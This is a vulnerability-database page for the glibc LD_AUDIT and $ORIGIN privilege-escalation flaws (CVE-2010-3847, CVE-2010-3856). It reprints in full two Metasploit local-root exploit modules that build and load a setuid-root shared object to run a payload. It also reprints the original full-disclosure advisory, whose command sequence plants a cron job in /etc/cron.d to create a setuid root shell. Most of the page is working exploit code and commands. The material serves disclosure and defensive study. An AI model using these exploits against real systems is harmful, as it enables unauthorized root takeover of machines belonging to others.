Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-59 |
Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 44024
Publication date : 2018-02-11
23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux
def initialize(info = {})
super(update_info(info,
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables which allows control over the $ORIGIN library search
path resulting in execution of arbitrary shared objects.
This module opens a file descriptor to the specified suid executable via
a hard link, then replaces the hard link with a shared object before
instructing the linker to execute the file descriptor, resulting in
arbitrary code execution.
The specified setuid binary must be readable and located on the same
file system partition as the specified writable directory.
This module has been tested successfully on glibc version 2.5 on CentOS
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
RHEL 5 is reportedly affected, but untested. Some versions of ld.so,
such as the version shipped with Ubuntu 14, hit a failed assertion
in dl_open_worker causing exploitation to fail.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'BID', '44154' ],
[ 'EDB', '15274' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"
unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
vprint_error("#{suid_exe_path} is not readable")
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is readable"
CheckCode::Appears
end
def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end
def exploit
check_status = check
if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
if suid_partition == base_partition
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
else
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
end
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end
# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|
begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end
# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so
# Upload exploit
link_name = ".#{rand_text_alphanumeric rand(5..10)}"
link_path = "#{base_dir}/#{link_name}"
fd = rand(10..200)
exp = %(
rm -rf '#{link_path}'
mkdir '#{link_path}'
ln #{suid_exe_path} #{link_path}/#{link_name}
exec #{fd}< #{link_path}/#{link_name}
ls -l /proc/$$/fd/#{fd}
rm -rf '#{link_path}'
ls -l /proc/$$/fd/#{fd}
mv #{so_path} #{link_path}
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
)
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp
register_file_for_cleanup link_path
# Upload payload
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end
Exploit Database EDB-ID : 44025
Publication date : 2018-02-11
23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux
def initialize(info = {})
super(update_info(info,
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables. This allows loading arbitrary shared objects from
the trusted library search path with the privileges of the suid user.
This module uses LD_AUDIT to load the libpcprofile.so shared object,
distributed with some versions of glibc, and leverages arbitrary file
creation functionality in the library constructor to write a root-owned
world-writable file to a system trusted search path (usually /lib).
The file is then overwritten with a shared object then loaded with
LD_AUDIT resulting in arbitrary code execution.
This module has been tested successfully on glibc version 2.11.1 on
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.
RHEL 5 is reportedly affected, but untested. Some glibc distributions
do not contain the libpcprofile.so library required for successful
exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
'Todor Donev', # libmemusage.so exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'CVE', '2010-3856' ],
[ 'BID', '44154' ],
[ 'BID', '44347' ],
[ 'EDB', '15274' ],
[ 'EDB', '15304' ],
[ 'EDB', '18105' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.to_s.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
lib = 'libpcprofile.so'
@lib_dir = nil
vprint_status "Checking for #{lib} in system search paths"
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
search_paths.split('path=')[1..-1].join.split(':').each do |path|
lib_dir = path.to_s.strip
next if lib_dir.eql? ''
libs = cmd_exec "ls '#{lib_dir}'"
if libs.include? lib
@lib_dir = lib_dir
break
end
end
if @lib_dir.nil?
vprint_error "Could not find #{lib}"
return CheckCode::Safe
end
vprint_good "Found #{lib} in #{@lib_dir}"
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"
CheckCode::Appears
end
def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end
def on_new_session(client)
# remove root owned shared object from system load path
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @so_path
else
client.shell_command_token "rm #{@so_path}"
end
end
def exploit
check_status = check
if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end
# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|
begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end
# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so
# Upload exploit
@so_path = "#{@lib_dir}/#{so_name}.so"
exp = %(
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
umask 0022
cat #{so_path} > #{@so_path}
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
echo > #{@so_path}
)
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp
# Upload payload
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end
Exploit Database EDB-ID : 15304
Publication date : 2010-10-21
22h00 +00:00
Author : Tavis Ormandy
EDB Verified : Yes
Source: http://marc.info/?l=full-disclosure&m=128776663124692&w=2
The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads
-------------------------------------------------------------------------------
Cześć, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847.
Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background
information.
For obvious reasons, the dynamic linker will ignore requests to preload user
specified libraries for setuid/setgid programs. However, it is possible to
imagine legitimate use cases for this functionality, so the glibc developers
provide an exception to this rule.
LD_PRELOAD
A whitespace-separated list of additional, user-specified, ELF
shared libraries to be loaded before all others. This can be
used to selectively override functions in other shared
libraries. For set-user-ID/set-group-ID ELF binaries, only
libraries in the standard search directories that are also set-
user-ID will be loaded.
In order to be preloaded during the execution of a privileged program, a
library must be setuid and in the trusted library search path. This is a
reasonable design, before a library will be loaded, the system administrator
must brand a library as safe to load across privilege boundaries.
This feature allows developers who design their programs to operate safely
while running as setuid to opt-in to doing so. Bizarrely, the same conditions
do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of
whether it has been designed to operate safely or not.
While the dynamic loader will only use a library that exports the dynamic
symbols required by the rtld-auditing API, it must first dlopen() the
library in order to examine the exported symbols. By definition, this must
execute any defined initialization routines.
This confusion can be exploited by locating a DSO in the trusted search path with
initialization code that has not been designed to operate safely while euid !=
uid. See the Notes section below for additional discussion on this topic.
--------------------
Affected Software
------------------------
At least the following versions have been tested
2.12.1, FC13
2.5, RHEL5 / CentOS5
2.11.1, Ubuntu 10
EDB Note: 2.7, Debian 5
--------------------
Consequences
-----------------------
This is a low impact issue that is only of interest to security
professionals and system administrators, end users do not need to be
concerned.
It is possible to exploit this confusion to execute arbitrary code as root.
The exact steps required to exploit this vulnerability will vary from
distribution to distribution, but an example from Ubuntu 10.04 is given below.
# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0
# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined \
symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > \
/etc/cron.d/exploit
# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit
# A setuid root shell appears.
$ /tmp/exploit
# whoami
root
-------------------
Solution
-----------------------
Major distributions should be releasing updated glibc packages shortly.
-------------------
Credit
-----------------------
This bug was discovered by Tavis Ormandy.
Thanks to Ben Hawkes and Julien Tinnes for additional insight, and
their expertise tracking down convincing attack vectors.
-------------------
Greetz
-----------------------
Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,
and all my other elite friends and colleagues.
Additional greetz to the openwall guys who saw this problem coming years ago.
They continue to avoid hundreds of security vulnerabilities each year thanks to
their insight into systems security.
http://www.openwall.com/owl/
-------------------
Notes
-----------------------
Finding candidate libraries is simple a matter of identifying DSOs that have
declared constructors or other initialization code. There are multiple
locations that initialization code can be declared, but .ctors is a common
example.
Using objdump, you can examine the section headers for any .ctors section.
$ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \
\;
[ The system administrator can add additional trusted search paths by declaring
them in /etc/ld.so.conf, but /lib and /usr/lib are the default paths. ]
If a ctors section has a size greater than 2 * wordsize, constructors have been
declared, and should be checked to see if they do anything interesting. An
empty list is 2 * wordsize bytes because it must still hold the two invalid
function pointers inserted into the list to mark list boundaries (alternatively
you could print the difference between the symbols __CTOR_LIST__ and
__CTOR_END__).
http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_17.html#SEC237
"Each list always begins with an ignored function pointer (which may hold 0, -1,
or a count of the function pointers after it, depending on the environment).
This is followed by a series of zero or more function pointers to constructors
(or destructors), followed by a function pointer containing zero."
$ objdump --section=.ctors --headers /usr/lib/liblftp-tasks.so.0
/usr/lib/liblftp-tasks.so.0: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
17 .ctors 00000040 00ddafc4 00ddafc4 00071fc4 2**2
CONTENTS, ALLOC, LOAD, DATA
Alternatively,
$ gdb -q /usr/lib/liblftp-tasks.so.0
Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols \
found)...done. (gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug
(gdb) p &__CTOR_END__ - &__CTOR_LIST__
$1 = 15
This looks like a good candidate with lots of constructors. You can use objdump
or gdb to dump the contents of the list.
$ objdump --full-contents --section=.ctors /usr/lib/liblftp-tasks.so.0
/usr/lib/liblftp-tasks.so.0: file format elf32-i386
Contents of section .ctors:
ddafc4 ffffffff 205fd800 e068d800 d07ad800 .... _...h...z..
ddafd4 608ad800 6067d900 7079d900 b0b3d900 `...`g..py......
ddafe4 d004da00 a037da00 403bda00 3061da00 .....7..@;..0a..
ddaff4 9062da00 90aada00 20ebdb00 00000000 .b...... .......
Notice the ffffffff at the start of the list, and 00000000 terminating it. The
other entries are function pointers, stored in native byteorder.
Examining the source code reveals it will mkdir(getenv("LFTP_HOME"), 0755) in
the constructors for the Bookmark and History classes, so we can use this to
create arbitrary directories as root.
40 Bookmark::Bookmark()
41 {
42 const char *home = get_lftp_home();
...
47 }
Followed by:
785 const char *get_lftp_home()
786 {
...
792 home = getenv("LFTP_HOME");
...
811 mkdir(home, 0755);
812 return home;
813 }
Therefore,
$ LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping
ERROR: ld.so: object 'liblftp-tasks.so.0' cannot be loaded as audit interface: \
undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
$ ls -ld /etc/exploit
drwxr-x---. 2 root taviso 4.0K Oct 22 01:18 /etc/exploit/
And so on, repeat for all accessible DSOs. The ELF standards document
initialization and termination here
http://web.archive.org/web/20041026003725/www.caldera.com/developers/gabi/2003-12-17/c \
h5.dynamic.html#init_fini
-------------------
References
-----------------------
- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.
- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux \
Programmer's Manual.
- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.
You should subscribe to Linux Weekly News and help support their high standard
of security journalism.
http://lwn.net/
I have a twitter account where I occasionally comment on security topics.
http://twitter.com/taviso
ex$$
Products Mentioned
Configuraton 0
Gnu>>Glibc >> Version To (including) 2.11.2
Gnu>>Glibc >> Version 1.00
Gnu>>Glibc >> Version 1.01
Gnu>>Glibc >> Version 1.02
Gnu>>Glibc >> Version 1.03
Gnu>>Glibc >> Version 1.04
Gnu>>Glibc >> Version 1.05
Gnu>>Glibc >> Version 1.06
Gnu>>Glibc >> Version 1.07
Gnu>>Glibc >> Version 1.08
Gnu>>Glibc >> Version 1.09
Gnu>>Glibc >> Version 1.09.1
Gnu>>Glibc >> Version 2.0
Gnu>>Glibc >> Version 2.0.1
Gnu>>Glibc >> Version 2.0.2
Gnu>>Glibc >> Version 2.0.3
Gnu>>Glibc >> Version 2.0.4
Gnu>>Glibc >> Version 2.0.5
Gnu>>Glibc >> Version 2.0.6
Gnu>>Glibc >> Version 2.1
Gnu>>Glibc >> Version 2.1.1
Gnu>>Glibc >> Version 2.1.1.6
Gnu>>Glibc >> Version 2.1.2
Gnu>>Glibc >> Version 2.1.3
Gnu>>Glibc >> Version 2.1.3.10
Gnu>>Glibc >> Version 2.1.9
Gnu>>Glibc >> Version 2.2
Gnu>>Glibc >> Version 2.2.1
Gnu>>Glibc >> Version 2.2.2
Gnu>>Glibc >> Version 2.2.3
Gnu>>Glibc >> Version 2.2.4
Gnu>>Glibc >> Version 2.2.5
Gnu>>Glibc >> Version 2.3
Gnu>>Glibc >> Version 2.3.1
Gnu>>Glibc >> Version 2.3.2
Gnu>>Glibc >> Version 2.3.3
Gnu>>Glibc >> Version 2.3.4
Gnu>>Glibc >> Version 2.3.5
Gnu>>Glibc >> Version 2.3.6
Gnu>>Glibc >> Version 2.3.10
Gnu>>Glibc >> Version 2.4
Gnu>>Glibc >> Version 2.5
Gnu>>Glibc >> Version 2.5.1
Gnu>>Glibc >> Version 2.6
Gnu>>Glibc >> Version 2.6.1
Gnu>>Glibc >> Version 2.7
Gnu>>Glibc >> Version 2.8
Gnu>>Glibc >> Version 2.9
Gnu>>Glibc >> Version 2.10
Gnu>>Glibc >> Version 2.10.1
Gnu>>Glibc >> Version 2.10.2
Gnu>>Glibc >> Version 2.11
Gnu>>Glibc >> Version 2.11.1
Gnu>>Glibc >> Version 2.12.0
Gnu>>Glibc >> Version 2.12.1
References